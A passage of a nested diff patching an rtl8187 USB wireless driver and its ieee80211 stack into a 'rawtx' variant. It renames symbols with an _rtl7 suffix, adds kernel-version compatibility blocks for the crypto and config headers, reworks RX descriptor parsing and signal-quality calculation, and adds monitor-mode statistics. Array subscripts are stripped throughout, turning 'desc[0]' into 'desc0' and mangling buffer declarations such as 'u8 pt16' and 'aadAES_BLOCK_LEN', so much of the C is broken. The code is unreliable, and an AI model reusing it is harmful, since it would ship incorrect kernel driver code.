+-	
++
+ 	priv->up=0;
+ 
+ /* FIXME */
+ 	if (!netif_queue_stopped(dev))
+ 		netif_stop_queue(dev);
+-	
++
+ 	rtl8180_rtx_disable(dev);
+ 	rtl8180_irq_disable(dev);
+ 
+-	ieee80211_softmac_stop_protocol(priv->ieee80211);
+-		
++	ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211);
++
+ 	return 0;
+ }
+ 
+ 
+ void rtl8180_commit(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	if (priv->up == 0) return ;
+-	
+-	ieee80211_softmac_stop_protocol(priv->ieee80211);
+-	
++
++	ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211);
++
+ 	rtl8180_irq_disable(dev);
+ 	rtl8180_rtx_disable(dev);
+ 	_rtl8180_up(dev);
+ }
+ 
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void rtl8180_restart(struct work_struct *work)
++{
++	struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq);
++	struct net_device *dev = priv->dev;
++#else
+ void rtl8180_restart(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++#endif
+ 	down(&priv->wx_sem);
+-	
+ 	rtl8180_commit(dev);
+-	
++
+ 	up(&priv->wx_sem);
+ }
+ 
+ static void r8180_set_multicast(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	short promisc;
+ 
+ 	//down(&priv->wx_sem);
+-	
++
+ 	/* FIXME FIXME */
+-	
++
+ 	promisc = (dev->flags & IFF_PROMISC) ? 1:0;
+-	
++
+ 	if (promisc != priv->promisc)
+ 	//	rtl8180_commit(dev);
+-	
++
+ 	priv->promisc = promisc;
+-	
++
+ 	//schedule_work(&priv->reset_wq);
+ 	//up(&priv->wx_sem);
+ }
+@@ -2273,17 +2381,17 @@
+ 
+ int r8180_set_mac_adr(struct net_device *dev, void *mac)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	struct sockaddr *addr = mac;
+-	
++
+ 	down(&priv->wx_sem);
+-	
++
+ 	memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN);
+-		
++
+ 	schedule_work(&priv->reset_wq);
+-	
++
+ 	up(&priv->wx_sem);
+-	
++
+ 	return 0;
+ }
+ 
+@@ -2291,16 +2399,18 @@
+ /* based on ipw2200 driver */
+ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++	struct iwreq *wrq;
++	int ret;
++
+ 	down(&priv->wx_sem);
+-	
+-	struct iwreq *wrq = (struct iwreq *)rq;
+-        
+-	int ret=-1;
++
++	wrq = (struct iwreq *)rq;
++
++	ret=-1;
+ 	switch (cmd) {
+ 	    case RTL_IOCTL_WPA_SUPPLICANT:
+-		ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data);
++		ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data);
+ 		break;
+ 
+ 	    default:
+@@ -2309,7 +2419,7 @@
+ 	}
+ 
+ 	up(&priv->wx_sem);
+-	
++
+ 	return ret;
+ }
+ 
+@@ -2320,10 +2430,11 @@
+ 	struct net_device *dev = (struct net_device*)rx_urb->context;
+ 	int status,len,flen;
+ 	struct sk_buff *skb;
+-	u32 *desc;
+-	
++	u8 *desc;
++	u8 signal,quality,rate;
++
+ 	//DMESG("rtl8187_rx_isr");
+-	
++
+ 	struct ieee80211_rx_stats stats = {
+ 		.signal = 0,
+ 		.noise = -98,
+@@ -2332,43 +2443,109 @@
+ 		.freq = IEEE80211_24GHZ_BAND,
+ 	};
+ 
++
+ 	//DMESG("RX %d ",rx_urb->status);
+ 	status = rx_urb->status;
+ 	if(status == 0){
+-		
++
+ 		len = rx_urb->actual_length;
+-	//	len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ 
++	//	len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/
+ 		len -= 4*4;/* 4 dword and 4 byte CRC */
+-		
++#if 0
+ 		desc = (u32*)(rx_urb->transfer_buffer + len);
+-		
++
+ 		flen = desc0 & 0xfff;
+-		
++
+ 		if( flen <= rx_urb->actual_length){
+-		
+-			stats.signal = (desc1 & 0x7f00)>>8;
+-			stats.noise = desc1 &0xff;
+-			stats.rate = desc0 >> 20 & 0xf;
++
++			//stats.signal = (desc1 & 0x7f00)>>8;
++			//stats.noise = desc1 &0xff;
++			signal=(desc1& (0xff0000))>>16;
++			signal=(signal&0xfe)>>1;	// Modify by hikaru 6.6
++
++			quality=(desc1 & (0xff));
++
++			rate=(desc0 &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20;
++		//	printk(KERN_INFO "rate is %d!\n",rate);
++			stats.rate = rtl8180_rate2rate(rate);
++		//	printk(KERN_INFO "stats.rate is %d!\n",stats.rate);
++			//stats.rate = desc0 >> 20 & 0xf;
+ 			stats.mac_time0 = desc2;
+ 			stats.mac_time1 = desc3;
++#endif
++
++		desc = rx_urb->transfer_buffer + len;
++
++		flen = ((desc1 & 0x0f) << 8) + (desc0 & 0xff);
++
++		if( flen <= rx_urb->actual_length){
++			//stats.signal = (desc1 & 0x7f00)>>8;
++			//stats.noise = desc1 &0xff;
++			signal=(desc6& 0xfe)>>1;
++			//signal=(signal&0xfe)>>1;	// Modify by hikaru 6.6
++
++			quality=desc4 & 0xff;
++
++			//rate=(desc2 &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4;
++			rate=(desc2 & 0xf0)>>4;
++		//	printk(KERN_INFO "rate is %d!\n",rate);
++			stats.rate = rtl8180_rate2rate(rate);
++		//	printk(KERN_INFO "stats.rate is %d!\n",stats.rate);
++			//stats.rate = desc0 >> 20 & 0xf;
++			stats.mac_time0 = desc8 + (desc9<<8) + (desc10<<16) + (desc11<<24);
++			stats.mac_time1 = desc12 + (desc13<<8) + (desc14<<16) + (desc15<<24);
++
++
++			//calculate link quality begin
++			if(!rtl8180_IsWirelessBMode(stats.rate) )
++			{ // OFDM rate.
++				if(signal>90)
++					signal=90;
++				else if(signal<25)
++					signal=25;
++				signal = (90-signal)*100/65;
++			}
++			else
++			{ // CCK rate.
++				if(signal>95)
++					signal = 95;
++				else if(signal<30)
++					signal = 30;
++				signal =(95-signal )*100/65;
++			}
++			priv->wstats.qual.level = signal;
++		//	printk(KERN_INFO "signal is %d!\n",signal);
++			if(quality > 64)
++				priv ->wstats.qual.qual = 0;
++			else
++				priv ->wstats.qual.qual = ((64-quality) * 100) / 64;  // SQ value is the SIGNAL_QUALITY returned to IORequest,
++						//and this value only appear when STA is associated to AP or
++						// STA is in IBSS mode
++		//	printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual);
++			priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual;
++			priv->wstats.qual.updated = 7;
++			if(priv->ieee80211->iw_mode == IW_MODE_MONITOR)
++			{
++				stats.signal = priv->wstats.qual.level;
++				stats.noise = priv->wstats.qual.noise;
++			}
++			//calculate link quality end
+ 			skb = dev_alloc_skb(flen-4);
+-			//skb_reserve(skb,2);
+-			if(skb){ 
++			if(skb){
+ 			memcpy(skb_put(skb,flen-4),
+ 				rx_urb->transfer_buffer,flen -4);
+-			
++
+ 			#ifdef DUMP_RX
+ 			int i;
+ 			for(i=0;i<flen-4;i++)
+ 				printk("%2x ",((u8*)(rx_urb->transfer_buffer))i);
+ 			printk("------RATE %x:w---------------\n",stats.rate);
+-			
++
+ 			#endif
+ 			priv->stats.rxok++;
+ 		//	priv->rxskb = skb;
+ 		//	priv->tempstats = &stats;
+-
+-			if(!ieee80211_rx(priv->ieee80211, 
++			if(!ieee80211_rx_rtl7(priv->ieee80211,
+ 				skb, &stats))
+ 			dev_kfree_skb_any(skb);
+ 			}
+@@ -2376,9 +2553,8 @@
+ 	}else{
+ 		priv->stats.rxstaterr++;
+ 		priv->ieee80211->stats.rx_errors++;
+-		
+ 	}
+-	
++
+ 	if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb);
+ 	else DMESG("RX process aborted due to explicit shutdown");
+ }
+@@ -2396,20 +2572,20 @@
+ 	struct r8180_priv *priv= NULL;
+ 	struct usb_device *udev = interface_to_usbdev(intf);
+ 
+-//printk("===> rtl8187_usb_probe()\n");	
+-	
+-	dev = alloc_ieee80211(sizeof(struct r8180_priv));
+-	
++//printk("===> rtl8187_usb_probe()\n");
++
++	dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv));
++
+ 	SET_MODULE_OWNER(dev);
+-	usb_set_intfdata(intf, dev);	
+-	
++	usb_set_intfdata(intf, dev);
++
+ 	SET_NETDEV_DEV(dev, &intf->dev);
+ 
+-	priv = ieee80211_priv(dev);
++	priv = ieee80211_priv_rtl7(dev);
+ 	priv->ieee80211 = netdev_priv(dev);
+-	
++
+ 	priv->udev=udev;
+-	
++
+ 	dev->open = rtl8180_open;
+ 	dev->stop = rtl8180_close;
+ 	//dev->hard_start_xmit = rtl8180_8023_hard_start_xmit;
+@@ -2418,41 +2594,46 @@
+ 	dev->do_ioctl = rtl8180_ioctl;
+ 	dev->set_multicast_list = r8180_set_multicast;
+ 	dev->set_mac_address = r8180_set_mac_adr;
++#if WIRELESS_EXT >= 12
++#if WIRELESS_EXT < 17
+ 	dev->get_wireless_stats = r8180_get_wireless_stats;
++#endif
++	dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def;
++#endif
+ 	dev->type=ARPHRD_ETHER;
+-	
++
+ 	if (dev_alloc_name(dev, ifname) < 0){
+                 DMESG("Oops: devname already taken! Trying wlan%%d...\n");
+ 		ifname = "wlan%d";
+ 		dev_alloc_name(dev, ifname);
+         }
+-	
++
+ //	dev->open=rtl8180_init;
+-	
+-	if(rtl8180_init(dev)!=0){ 
++
++	if(rtl8180_init(dev)!=0){
+ 		DMESG("Initialization failed");
+ 		goto fail;
+ 	}
+-	
++
+ 	netif_carrier_off(dev);
+ 	netif_stop_queue(dev);
+-	
++
+ 	register_netdev(dev);
+-	
++
+ 	rtl8180_proc_init_one(dev);
+-	
+-	
++
++
+ 	DMESG("Driver probe completed\n");
+-	return 0;	
++	return 0;
++
+ 
+-	
+ fail:
+-	free_ieee80211(dev);
+-		
++	free_ieee80211_rtl7(dev);
++
+ 	DMESG("wlan driver load failed\n");
+-	
++
+ 	return -ENODEV;
+-	
++
+ }
+ 
+ 
+@@ -2461,13 +2642,13 @@
+ 	struct r8180_priv *priv;
+ 	struct net_device *dev = usb_get_intfdata(intf);
+  	if(dev){
+-		
++
+ 		unregister_netdev(dev);
+-		
+-		priv=ieee80211_priv(dev);
+-		
++
++		priv=ieee80211_priv_rtl7(dev);
++
+ 		rtl8180_proc_remove_one(dev);
+-		
++
+ 		rtl8180_down(dev);
+ 		priv->rf_close(dev);
+ 		//rtl8180_rtx_disable(dev);
+@@ -2478,12 +2659,12 @@
+ 
+ 	}
+ //	pci_disable_device(pdev);
+-	free_ieee80211(dev);
++	free_ieee80211_rtl7(dev);
+ 	DMESG("wlan driver removed\n");
+ }
+ 
+ 
+-static int __init rtl8187_usb_module_init(void)
++static int __init rtl8187_usb_module_init_rtl7(void)
+ {
+ 	printk(KERN_INFO "\nLinux kernel driver for RTL8187 \
+ based WLAN cards\n");
+@@ -2495,7 +2676,7 @@
+ }
+ 
+ 
+-static void __exit rtl8187_usb_module_exit(void)
++static void __exit rtl8187_usb_module_exit_rtl7(void)
+ {
+ 	usb_deregister(&rtl8187_usb_driver);
+ 
+@@ -2508,14 +2689,14 @@
+ {
+ 	unsigned long flags;
+ 	short enough_desc;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	spin_lock_irqsave(&priv->tx_lock,flags);
+ 	enough_desc = check_nic_enought_desc(dev,pri);
+-        spin_unlock_irqrestore(&priv->tx_lock,flags);	
+-	
++        spin_unlock_irqrestore(&priv->tx_lock,flags);
++
+ 	if(enough_desc)
+-		ieee80211_wake_queue(priv->ieee80211);
++		ieee80211_wake_queue_rtl7(priv->ieee80211);
+ }
+ 
+ 
+@@ -2523,5 +2704,5 @@
+ /***************************************************************************
+      ------------------- module init / exit stubs ----------------
+ ****************************************************************************/
+-module_init(rtl8187_usb_module_init);
+-module_exit(rtl8187_usb_module_exit);
++module_init(rtl8187_usb_module_init_rtl7);
++module_exit(rtl8187_usb_module_exit_rtl7);
+diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h
+--- rtl8187_orig/beta-8187/r8187.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8187.h	2007-06-05 14:00:05.000000000 +0200
+@@ -1,17 +1,17 @@
+-/* 
++/*
+    This is part of rtl8187 OpenSource driver.
+-   Copyright (C) Andrea Merello 2004-2005  <andreamrl@tiscali.it> 
++   Copyright (C) Andrea Merello 2004-2005  <andreamrl@tiscali.it>
+    Released under the terms of GPL (General Public Licence)
+-   
+-   Parts of this driver are based on the GPL part of the 
++
++   Parts of this driver are based on the GPL part of the
+    official realtek driver
+-   
+-   Parts of this driver are based on the rtl8180 driver skeleton 
++
++   Parts of this driver are based on the rtl8180 driver skeleton
+    from Patric Schenke & Andres Salomon
+-   
++
+    Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver
+-   
+-   We want to tanks the Authors of those projects and the Ndiswrapper 
++
++   We want to tanks the Authors of those projects and the Ndiswrapper
+    project Authors.
+ */
+ 
+@@ -26,7 +26,6 @@
+ 
+ #include <linux/module.h>
+ #include <linux/kernel.h>
+-#include <linux/config.h>
+ #include <linux/init.h>
+ #include <linux/ioport.h>
+ #include <linux/sched.h>
+@@ -47,6 +46,12 @@
+ #include <asm/io.h>
+ #include <asm/semaphore.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ #define EPROM_93c46 0
+@@ -68,7 +73,7 @@
+ {
+ 	struct buffer *next;
+ 	u32 *buf;
+-	
++
+ } buffer;
+ 
+ #if 0
+@@ -123,18 +128,18 @@
+ 	short epromtype;
+ 	int irq;
+ 	struct ieee80211_device *ieee80211;
+-	
++
+ 	short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */
+ 	short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */
+ 	short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */
+ 	short enable_gpio0;
+ 	enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type;
+ 	short hw_plcp_len;
+-		
++
+ //	spinlock_t irq_lock;
+ //	spinlock_t irq_th_lock;
+ 	spinlock_t tx_lock;
+-	
++
+ 	u16 irq_mask;
+ //	short irq_enabled;
+ 	struct net_device *dev;
+@@ -143,13 +148,16 @@
+ 	short max_sens;
+ 	u8 chtxpwr15; //channels from 1 to 14, 0 not used
+ 	u8 chtxpwr_ofdm15; //channels from 1 to 14, 0 not used
++	u8 chtxpwr_orig15; //channels from 1 to 14, 0 not used
++	u8 chtxpwr_ofdm_orig15; //channels from 1 to 14, 0 not used
+ 	u8 cck_txpwr_base;
+ 	u8 ofdm_txpwr_base;
++	u8 txpwr_max;
+ 	u8 challow15; //channels from 1 to 14, 0 not used
+ 	short up;
+ 	short crcmon; //if 1 allow bad crc frame reception in monitor mode
+-//	short prism_hdr;
+-	
++	short prism_hdr;
++
+ //	struct timer_list scan_timer;
+ 	/*short scanpending;
+ 	short stopscan;*/
+@@ -158,7 +166,7 @@
+ 	//u8 active_scan_num;
+ 	struct semaphore wx_sem;
+ //	short hw_wep;
+-		
++
+ //	short digphy;
+ //	short antb;
+ //	short diversity;
+@@ -171,31 +179,31 @@
+ 	void (*rf_close)(struct net_device *dev);
+ 	void (*rf_init)(struct net_device *dev);
+ 	//short rate;
+-	short promisc;	
++	short promisc;
+ 	/*stats*/
+ 	struct Stats stats;
+ 	struct iw_statistics wstats;
+ 	struct proc_dir_entry *dir_dev;
+-	
++
+ 	/*RX stuff*/
+ //	u32 *rxring;
+ //	u32 *rxringtail;
+ //	dma_addr_t rxringdma;
+ 	struct urb **rx_urb;
+-	
++
+ 	//struct buffer *rxbuffer;
+ 	//struct buffer *rxbufferhead;
+ 	//int rxringcount;
+ 	//u16 rxbuffersize;
+-	
+-	//struct sk_buff *rx_skb; 
++
++	//struct sk_buff *rx_skb;
+ 
+ 	//short rx_skb_complete;
+ 
+ 	//u32 rx_prevlen;
+ 	atomic_t tx_lp_pending;
+ 	atomic_t tx_np_pending;
+-#if 0	
++#if 0
+ 	/*TX stuff*/
+ 	u32 *txlpring;
+ 	u32 *txhpring;
+@@ -225,7 +233,7 @@
+ 	struct urb *rxurb_task;
+ //	u8 dma_poll_mask;
+ 	//short tx_suspend;
+-	
++
+ 	/* adhoc/master mode stuff */
+ #if 0
+ 	u32 *txbeacontail;
+@@ -239,18 +247,18 @@
+ 	//u16 master_beaconinterval;
+ //	u32 master_beaconsize;
+ 	//u16 beacon_interval;
+-	
++
+ 	u8 retry_data;
+ 	u8 retry_rts;
+-	
++
+ 	struct work_struct reset_wq;
+-	
++
+ }r8180_priv;
+ 
+ 
+-typedef enum{ 
++typedef enum{
+ 	LOW_PRIORITY ,
+-	NORM_PRIORITY 
++	NORM_PRIORITY
+ 	} priority_t;
+ 
+ 
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c	2007-06-05 14:00:28.000000000 +0200
+@@ -11,7 +11,6 @@
+  *
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -19,6 +18,12 @@
+ #include <asm/string.h>
+ #include <asm/errno.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ MODULE_AUTHOR("Jouni Malinen");
+@@ -38,7 +43,7 @@
+ 
+ static struct ieee80211_crypto *hcrypt;
+ 
+-void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee,
++void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee,
+ 					   int force)
+ {
+ 	struct list_head *ptr, *n;
+@@ -61,13 +66,13 @@
+ 	}
+ }
+ 
+-void ieee80211_crypt_deinit_handler(unsigned long data)
++void ieee80211_crypt_deinit_handler_rtl7(unsigned long data)
+ {
+ 	struct ieee80211_device *ieee = (struct ieee80211_device *)data;
+ 	unsigned long flags;
+ 
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	ieee80211_crypt_deinit_entries(ieee, 0);
++	ieee80211_crypt_deinit_entries_rtl7(ieee, 0);
+ 	if (!list_empty(&ieee->crypt_deinit_list)) {
+ 		printk(KERN_DEBUG "%s: entries remaining in delayed crypt "
+ 		       "deletion list\n", ieee->dev->name);
+@@ -78,7 +83,7 @@
+ 
+ }
+ 
+-void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee,
++void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee,
+ 				    struct ieee80211_crypt_data **crypt)
+ {
+ 	struct ieee80211_crypt_data *tmp;
+@@ -103,7 +108,7 @@
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+ }
+ 
+-int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops)
++int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops)
+ {
+ 	unsigned long flags;
+ 	struct ieee80211_crypto_alg *alg;
+@@ -128,7 +133,7 @@
+ 	return 0;
+ }
+ 
+-int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops)
++int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops)
+ {
+ 	unsigned long flags;
+ 	struct list_head *ptr;
+@@ -159,7 +164,7 @@
+ }
+ 
+ 
+-struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name)
++struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name)
+ {
+ 	unsigned long flags;
+ 	struct list_head *ptr;
+@@ -186,13 +191,13 @@
+ }
+ 
+ 
+-static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; }
+-static void ieee80211_crypt_null_deinit(void *priv) {}
++static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; }
++static void ieee80211_crypt_null_deinit_rtl7(void *priv) {}
+ 
+ static struct ieee80211_crypto_ops ieee80211_crypt_null = {
+ 	.name			= "NULL",
+-	.init			= ieee80211_crypt_null_init,
+-	.deinit			= ieee80211_crypt_null_deinit,
++	.init			= ieee80211_crypt_null_init_rtl7,
++	.deinit			= ieee80211_crypt_null_deinit_rtl7,
+ 	.encrypt_mpdu		= NULL,
+ 	.decrypt_mpdu		= NULL,
+ 	.encrypt_msdu		= NULL,
+@@ -205,7 +210,7 @@
+ };
+ 
+ 
+-static int __init ieee80211_crypto_init(void)
++static int __init ieee80211_crypto_init_rtl7(void)
+ {
+ 	int ret = -ENOMEM;
+ 
+@@ -217,7 +222,7 @@
+ 	INIT_LIST_HEAD(&hcrypt->algs);
+ 	spin_lock_init(&hcrypt->lock);
+ 
+-	ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null);
++	ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null);
+ 	if (ret < 0) {
+ 		kfree(hcrypt);
+ 		hcrypt = NULL;
+@@ -227,7 +232,7 @@
+ }
+ 
+ 
+-static void __exit ieee80211_crypto_deinit(void)
++static void __exit ieee80211_crypto_deinit_rtl7(void)
+ {
+ 	struct list_head *ptr, *n;
+ 
+@@ -247,13 +252,13 @@
+ 	kfree(hcrypt);
+ }
+ 
+-EXPORT_SYMBOL(ieee80211_crypt_deinit_entries);
+-EXPORT_SYMBOL(ieee80211_crypt_deinit_handler);
+-EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit);
+-
+-EXPORT_SYMBOL(ieee80211_register_crypto_ops);
+-EXPORT_SYMBOL(ieee80211_unregister_crypto_ops);
+-EXPORT_SYMBOL(ieee80211_get_crypto_ops);
++EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7);
++EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7);
++EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7);
++
++EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7);
++EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7);
++EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7);
+ 
+-module_init(ieee80211_crypto_init);
+-module_exit(ieee80211_crypto_deinit);
++module_init(ieee80211_crypto_init_rtl7);
++module_exit(ieee80211_crypto_deinit_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c
+--- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c	2007-06-05 14:00:28.000000000 +0200
+@@ -9,7 +9,6 @@
+  * more details.
+  */
+ 
+-#include <linux/config.h>
+ #include <linux/version.h>
+ #include <linux/module.h>
+ #include <linux/init.h>
+@@ -22,11 +21,22 @@
+ #include <asm/string.h>
+ #include <linux/wireless.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+ #include <linux/crypto.h>
+-#include <asm/scatterlist.h>
++
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
++    #include <asm/scatterlist.h>
++#else
++    #include <linux/scatterlist.h>
++#endif
+ 
+ MODULE_AUTHOR("Jouni Malinen");
+ MODULE_DESCRIPTION("Host AP crypt: CCMP");
+@@ -51,7 +61,11 @@
+ 
+ 	int key_idx;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	struct crypto_tfm *tfm;
++#else
++	struct crypto_cipher *tfm;
++#endif
+ 
+ 	/* scratch buffers for virt_to_page() (crypto API) */
+ 	u8 tx_b0AES_BLOCK_LEN, tx_bAES_BLOCK_LEN,
+@@ -59,7 +73,8 @@
+ 	u8 rx_b0AES_BLOCK_LEN, rx_bAES_BLOCK_LEN, rx_aAES_BLOCK_LEN;
+ };
+ 
+-void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm,
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm,
+ 			     const u8 pt16, u8 ct16)
+ {
+ 	struct scatterlist src, dst;
+@@ -74,8 +89,15 @@
+ 
+ 	crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN);
+ }
++#else
++static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm,
++					      const u8 pt16, u8 ct16)
++{
++	crypto_cipher_encrypt_one(tfm, ct, pt);
++}
++#endif
+ 
+-static void * ieee80211_ccmp_init(int key_idx)
++static void * ieee80211_ccmp_init_rtl7(int key_idx)
+ {
+ 	struct ieee80211_ccmp_data *priv;
+ 
+@@ -85,19 +107,33 @@
+ 	memset(priv, 0, sizeof(*priv));
+ 	priv->key_idx = key_idx;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	priv->tfm = crypto_alloc_tfm("aes", 0);
+ 	if (priv->tfm == NULL) {
+ 		printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate "
+ 		       "crypto API aes\n");
+ 		goto fail;
+ 	}
++#else
++	priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->tfm)) {
++		printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate "
++		       "crypto API aes\n");
++		priv->tfm = NULL;
++		goto fail;
++	}
++#endif
+ 
+ 	return priv;
+ 
+ fail:
+ 	if (priv) {
+ 		if (priv->tfm)
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 			crypto_free_tfm(priv->tfm);
++#else
++			crypto_free_cipher(priv->tfm);
++#endif
+ 		kfree(priv);
+ 	}
+ 
+@@ -105,16 +141,20 @@
+ }
+ 
+ 
+-static void ieee80211_ccmp_deinit(void *priv)
++static void ieee80211_ccmp_deinit_rtl7(void *priv)
+ {
+ 	struct ieee80211_ccmp_data *_priv = priv;
+ 	if (_priv && _priv->tfm)
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 		crypto_free_tfm(_priv->tfm);
++#else
++		crypto_free_cipher(_priv->tfm);
++#endif
+ 	kfree(priv);
+ }
+ 
+ 
+-static inline void xor_block(u8 *b, u8 *a, size_t len)
++static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len)
+ {
+ 	int i;
+ 	for (i = 0; i < len; i++)
+@@ -122,7 +162,11 @@
+ }
+ 
+ 
+-static void ccmp_init_blocks(struct crypto_tfm *tfm,
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm,
++#else
++static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm,
++#endif
+ 			     struct ieee80211_hdr *hdr,
+ 			     u8 *pn, size_t dlen, u8 *b0, u8 *auth,
+ 			     u8 *s0)
+@@ -186,18 +230,18 @@
+ 	}
+ 
+ 	/* Start with the first block and AAD */
+-	ieee80211_ccmp_aes_encrypt(tfm, b0, auth);
+-	xor_block(auth, aad, AES_BLOCK_LEN);
+-	ieee80211_ccmp_aes_encrypt(tfm, auth, auth);
+-	xor_block(auth, &aadAES_BLOCK_LEN, AES_BLOCK_LEN);
+-	ieee80211_ccmp_aes_encrypt(tfm, auth, auth);
++	ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth);
++	xor_block_rtl7(auth, aad, AES_BLOCK_LEN);
++	ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth);
++	xor_block_rtl7(auth, &aadAES_BLOCK_LEN, AES_BLOCK_LEN);
++	ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth);
+ 	b00 &= 0x07;
+ 	b014 = b015 = 0;
+-	ieee80211_ccmp_aes_encrypt(tfm, b0, s0);
++	ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0);
+ }
+ 
+ 
+-static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct ieee80211_ccmp_data *key = priv;
+ 	int data_len, i, blocks, last, len;
+@@ -237,7 +281,7 @@
+ 	*pos++ = key->tx_pn0;
+ 
+ 	hdr = (struct ieee80211_hdr *) skb->data;
